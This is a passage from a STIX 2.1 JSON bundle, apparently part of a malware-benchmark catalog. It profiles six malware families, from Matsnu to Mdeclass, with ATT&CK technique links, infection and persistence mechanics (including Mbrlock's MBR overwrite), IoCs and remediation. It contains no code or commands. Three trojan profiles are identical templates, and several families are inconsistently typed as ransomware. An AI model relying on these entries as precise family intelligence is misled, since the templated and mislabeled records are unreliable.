      "id": "relationship--e84ac651-cbe2-5987-ba9a-0b5782de088d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matrix exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e44221e-66be-5dcb-8a93-8d9b91c2f1ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matrix exhibits technique T1070.001 (Indicator Removal: Clear Windows Event Logs)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6921555a-fd6e-50ea-8ea6-d08ff356fa8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matrix exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Matsnu",
      "description": "Trojan:Win32/Matsnu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Matsnu</b><br>To an end-user, a Matsnu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Matsnu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Matsnu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Matsnu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Matsnu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Matsnu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/matsnu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8446ed3-4020-564c-baf4-d828bca787cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matsnu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a178c192-f35f-5598-bccc-d642a5f13948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matsnu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7d7e47e-3355-50b3-9138-6d456e6accf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matsnu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--986b503b-669c-5c77-8a30-c11299ddf170",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matsnu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9abd4dc4-fbfc-5c51-b119-31b4729bdadd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5bd5680-8885-5998-a2b7-8021b31ed58c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matsnu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--53710022-7b25-573f-9f76-eb31aa05bc9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Maxdriver",
      "description": "Adware:Win32/Maxdriver (also known as Max Driver Updater) is a highly aggressive Potentially Unwanted Program (PUP) that masquerades as a legitimate system optimization and driver updating utility. However, its primary goal is deceptive monetization. It deliberately displays false or exaggerated reports about 'outdated' or 'critical' driver issues to frighten the user into purchasing a premium license to fix problems that do not actually exist.<br><br><b>Understanding Maxdriver (Rogue Optimizer)</b><br>To an end-user, Maxdriver is a source of constant anxiety. The software bombards the desktop with alarming pop-ups, warning that the system is unstable or vulnerable due to missing drivers. For a security team, it represents a breakdown in endpoint hygiene, a vector for social engineering, and a potential gateway for further malware infections, as rogue optimizers are often distributed by affiliate networks that also push trojans.<br><br><b>Execution and Deception Mechanics</b><br>Maxdriver is typically installed inadvertently as part of a software bundle when downloading freeware from third-party sites (`T1189`). Upon execution (`T1204.002`), it aggressively establishes persistence by creating multiple scheduled tasks (`T1053.005`) and registry run keys (`T1547.001`) to ensure it launches a 'scan' every time the computer boots. The software performs a superficial scan and invariably returns a long list of 'critical driver errors.' When the user clicks 'Update All,' the software blocks the action and demands a credit card payment for the premium version (`T1491.002` - modified context for deceptive monetization).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial loss for the user, significant annoyance, and decreased system performance due to the constant background scanning and pop-up generation. Host-based IoCs include EDR alerts for the presence of the `MaxDriver.exe` or `MaxDriverUpdater.exe` processes, unexpected scheduled tasks named 'MaxDriver Update Task', and registry keys associated with the software publisher. Network IoCs include connections to the software vendor's payment and telemetry servers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Maxdriver",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/maxdriver"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50772d7c-eafe-55fb-9ba5-18d3ae468ae1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53710022-7b25-573f-9f76-eb31aa05bc9d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxdriver exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3df907e1-ffec-53e8-aac7-0d55943cd51c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53710022-7b25-573f-9f76-eb31aa05bc9d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxdriver exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a6e19cc-c50f-5aa4-b9cf-87513562019a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53710022-7b25-573f-9f76-eb31aa05bc9d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxdriver exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--737313f1-fcd5-5c6a-8ee0-e88670f80f37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Maxsecure",
      "description": "<h3>Executive Summary</h3>\nMaxSecure (often Max Secure Anti Virus or Max Secure Spyware Detector) is a notorious family of \"Rogue Security Software\" or \"Scareware.\" It is a deceptive program that masquerades as legitimate antivirus software. Its sole purpose is to perform fake system scans, generate alarming false-positive error reports regarding non-existent malware, and extort money from the user by demanding they purchase a \"premium license\" to clean their computer.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMaxSecure relies heavily on aggressive malvertising and deceptive tactics. Users typically encounter it via pop-up ads claiming their \"PC is infected\" or when visiting compromised websites that use JavaScript to force a download. It is also frequently bundled with other Potentially Unwanted Programs (PUPs).\n\nOnce installed, the software employs highly aggressive and deceptive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports that the system is heavily infected with critical Trojans, viruses, or spyware, creating a false sense of extreme urgency.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of MaxSecure employ locking tactics. They may disable the Task Manager, block the execution of legitimate security software (like Windows Defender), or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom.</li>\n<li><strong>Financial Extortion:</strong> The ultimate goal is to force the user to input their credit card information into a fake payment portal to \"activate\" the software and remove the non-existent threats.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, MaxSecure poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys, fake services, and the core application files.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company or bank to dispute the fraudulent charge and potentially cancel the compromised card.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.MaxSecure",
        "Scareware.MaxSecure",
        "FakeAV.MaxSecure"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Maxsecure",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/maxsecure"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--158a3bea-6cdc-507c-9625-d5297f1ce4c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737313f1-fcd5-5c6a-8ee0-e88670f80f37",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxsecure exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c79072b7-66ac-5a7c-ab1a-adf1f469214e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737313f1-fcd5-5c6a-8ee0-e88670f80f37",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxsecure exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc6b15e4-814b-5b30-8b5a-8a70bd5f3173",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737313f1-fcd5-5c6a-8ee0-e88670f80f37",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maxsecure exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mazben",
      "description": "Trojan:Win32/Mazben is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mazben</b><br>To an end-user, a Mazben infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mazben is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mazben is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mazben frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mazben reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mazben",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mazben"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d11d4587-f0de-5812-a96e-9a5e422484fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mazben exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8fedb66-963c-51d2-8361-739c14af4a42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mazben exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebabf2dc-becc-594c-a38e-c7009313c8e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mazben exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d774f5a0-719e-5e16-a553-89991d6232f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mazben exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23b90628-af2b-5744-94d0-741adcf46bcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ff54b78-f009-56e0-80d0-9e68c71d7cea",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mazben exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d21e2df2-d4ce-543f-8dba-7ea1978d5e19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mbrlock",
      "description": "Ransom:Win32/Mbrlock represents a highly destructive class of ransomware known as **Bootlockers**. Unlike traditional file-encrypting ransomware that targets individual documents (like Word or PDF files), Mbrlock targets the foundational architecture of the hard drive itself. It specifically overwrites the Master Boot Record (MBR) of the infected system, preventing the Windows operating system from loading entirely and holding the entire computer hostage.<br><br><b>Understanding Bootlocker Ransomware</b><br>To an infected user, the impact is immediate and terrifying. Instead of the familiar Windows logo upon turning on the computer, they are greeted by a stark, text-only (DOS-like) screen demanding a ransom payment to unlock the system. For a security analyst, Mbrlock indicates a severe breach that requires low-level disk recovery techniques to remediate, as the operating system's boot process has been hijacked (`T1542.003`). Notable examples of Mbrlock-style malware include the early versions of Petya and various 'lock-screen' extortion variants.<br><br><b>Execution and Boot Hijacking Mechanics</b><br>Mbrlock is often distributed via spear-phishing or dropped as a secondary payload by other trojans. Upon execution (`T1204.002`), it requires administrative privileges. Once obtained, it uses low-level disk writing APIs (like `DeviceIoControl`) to access `PhysicalDrive0` directly. It backs up the legitimate Master Boot Record (MBR), encrypts or obfuscates it, and then overwrites the active MBR with its own malicious, custom bootloader (`T1542.003`). Finally, it forces a system reboot (`T1529`). When the BIOS/UEFI attempts to boot the computer, it loads the malicious Mbrlock code instead of the Windows bootloader, displaying the ransom note and preventing OS initialization.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total denial of service for the endpoint. The primary IoC is the inability to boot into Windows, replaced by a text-mode ransom note. EDR systems monitoring for low-level disk access (`T1006`) will often flag the attempt to overwrite the MBR if they are active before the reboot. Because the OS never loads, traditional antivirus cannot run to remove the threat once the system has rebooted. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mbrlock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mbrlock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--694c2c46-6684-5139-9711-2b096e61d8f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d21e2df2-d4ce-543f-8dba-7ea1978d5e19",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mbrlock exhibits technique T1542.003 (Pre-OS Boot: Bootkit (Overwriting the Master Boot Record))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f6045c0-7435-5c45-8316-5766b276b3a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d21e2df2-d4ce-543f-8dba-7ea1978d5e19",
      "target_ref": "attack-pattern--190f9572-8900-5a4d-ae1a-2f85e523f660",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mbrlock exhibits technique T1529 (System Shutdown/Reboot (Forcing reboot to trigger the bootlocker))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18a7543a-9ae9-5b7e-9870-c7471d5736fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d21e2df2-d4ce-543f-8dba-7ea1978d5e19",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mbrlock exhibits technique T1486 (Data Encrypted for Impact (Encrypting the original MBR or MFT))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cb44e9d1-6740-5e8b-812b-ce6d6dc36340",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1006: Direct Volume Access (Required to overwrite Sector 0)",
      "description": "MITRE ATT&CK Technique T1006 (Direct Volume Access (Required to overwrite Sector 0)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1006",
          "url": "https://attack.mitre.org/techniques/T1006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbd8236c-d025-5dcd-b2bd-6673cbed0830",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d21e2df2-d4ce-543f-8dba-7ea1978d5e19",
      "target_ref": "attack-pattern--cb44e9d1-6740-5e8b-812b-ce6d6dc36340",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mbrlock exhibits technique T1006 (Direct Volume Access (Required to overwrite Sector 0))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mdeclass",
      "description": "Trojan:Win32/Mdeclass is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mdeclass</b><br>To an end-user, a Mdeclass infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mdeclass is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mdeclass is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mdeclass frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mdeclass reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mdeclass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mdeclass"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cbd5aab-6215-5f5c-8161-8a994563f629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdeclass exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f85d6b95-02a4-5752-b226-5704bb205638",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdeclass exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0da5e7f7-5711-5d48-8f92-af513de458b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdeclass exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa86d4d4-5c85-5ae7-ad1c-3ba41652f7e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
